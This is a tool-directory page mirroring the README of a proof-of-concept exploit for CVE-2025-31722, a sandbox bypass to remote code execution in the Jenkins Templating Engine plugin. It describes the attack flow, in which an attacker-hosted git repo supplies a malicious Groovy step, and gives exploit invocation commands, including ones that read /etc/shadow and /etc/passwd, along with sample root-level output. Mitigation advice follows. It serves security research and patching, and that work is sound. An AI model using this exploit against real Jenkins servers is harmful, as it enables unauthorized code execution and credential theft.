Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-31722 — CVE-2025-31722 — Jenkins Templating Engine RCE | Kitploit
Tools/GitHubGitHub/h3raklez/cve-2025-31722
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubh3raklez/cve-2025-31722

CVE-2025-31722

CVE-2025-31722 — Jenkins Templating Engine RCE

View Repository
5 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-31722 — Jenkins Templating Engine RCE

For educational and authorized security research purposes only.

Description

Sandbox bypass vulnerability in the Jenkins Templating Engine (JTE) plugin <= 2.5.3 that allows a low-privileged user to execute arbitrary code on the Jenkins server.

The flaw occurs because JTE loads libraries from an external git repository defined in a folder-level GovernanceTier configuration and executes the steps from those libraries outside the Groovy sandbox, regardless of the privilege level of the user who created the job.

CVSS: 8.8 (High)
Type: Sandbox Bypass → RCE
Affected component: pipeline-templating-engine plugin ≤ 2.5.3
Fixed version: 2.5.4+


Attack Flow

root@kitploit:~
Attacker (Kali)                          Jenkins Server
───────────────                          ──────────────
1. Creates git repo with evil.groovy
2. Starts git daemon on :9418
3. Creates folder in Jenkins        →    Folder with GovernanceTier
   pointing to git://KALI:9418/…         pointing to attacker's repo
4. Creates job with AdHoc template  →    Job calls evil()
5. Triggers build                   →    JTE clones repo from Kali
                                         Executes evil() outside sandbox
                                    ←    RCE as Jenkins user

Requirements

Jenkins server (target)

  • Jenkins with Templating Engine 2.5.3 plugin installed
  • Plugins: cloudbees-folder, git, workflow-aggregator
  • CSRF disabled
  • User attacker with permissions: Item/READ, Item/CREATE, Item/CONFIGURE, Item/BUILD
  • Built-In node online with at least 1 executor
  • Outbound network connectivity from the server to the attacker's IP on port 9418

Attacker machine (Kali)

  • Python 3.8+
  • git installed
  • Port 9418 reachable from the Jenkins server
  • Python library: requests
root@kitploit:~
pip install requests

Lab Setup

The setup installed on a Debian/Ubuntu server had installed Jenkins, configured users, permissions, and required plugins. It does not create any malicious content — that is handled exclusively by the PoC.


Usage

Basic exploitation

root@kitploit:~
python3 exploit.py \
  --url http://<JENKINS-IP>:8080 \
  --user attacker \
  --pass attacker123 \
  --git-host <KALI-IP>

Custom command

root@kitploit:~
python3 exploit.py \
  --url http://<JENKINS-IP>:8080 \
  --user attacker \
  --pass attacker123 \
  --git-host <KALI-IP> \
  --cmd "cat /etc/shadow"

Cleanup

root@kitploit:~
python3 exploit.py \
  --url http://<JENKINS-IP>:8080 \
  --user attacker \
  --pass attacker123 \
  --git-host <KALI-IP> \
  --cleanup

Parameters


How the PoC Works

  1. setup_repo() — Creates ~/jte-exploit/evil-lib/steps/evil.groovy on Kali with the command to execute
  2. start_git_daemon() — Starts git daemon on Kali on port 9418
  3. create_folder() — Creates a folder in Jenkins with a GovernanceTier pointing to git://KALI:9418/jte-exploit
  4. create_job() — Creates a job with AdHocTemplateFlowDefinition that declares evil-lib and calls evil()
  5. trigger_and_wait() — Triggers the build and waits for the result
  6. print_output() — Displays the console output with the RCE result

The git daemon stays alive throughout the entire build cycle and is terminated automatically once the build completes.


Expected Output

root@kitploit:~
=================================================================
  CVE-2025-31722 — Jenkins Templating Engine RCE
  Target  : http://10.211.55.10:8080
  Git host: 10.211.55.7
  Command : id && hostname && cat /etc/passwd
=================================================================

[+] Authenticated as: attacker (id=attacker)
[+] Repo created: /root/jte-exploit
[+] Malicious step: evil-lib/steps/evil.groovy
[+] Git daemon running at git://10.211.55.7:9418/jte-exploit
[+] Folder created
[+] Job created
[+] Build queued

=================================================================
  CVE-2025-31722 — RCE OUTPUT
=================================================================
[JTE] ...
uid=0(root) gid=0(root) groups=0(root)
debian
root:x:0:0:root:/root:/bin/bash
...
=================================================================

Mitigation

  • Update the Templating Engine plugin to version 2.5.4 or later
  • Restrict Item/CREATE and Item/CONFIGURE permissions to trusted users only
  • Enable CSRF protection in Jenkins
  • Audit folders with GovernanceTier configurations pointing to external repositories

References

  • Jenkins Security Advisory
  • JTE Plugin GitHub

Legal disclaimer: This PoC is intended solely for educational purposes and testing in controlled environments. Using it against systems without explicit authorization is illegal.

Download Tool
ParameterDescriptionRequired
--urlJenkins base URLYes
--userUser with Item/CREATE+CONFIGURE+BUILD permissionsYes
--passUser passwordYes
--git-hostKali IP reachable from JenkinsYes
--cmdCommand to execute on the server (default: id && hostname && cat /etc/passwd)No
--cleanupDeletes the folder, job and repo created by the exploitNo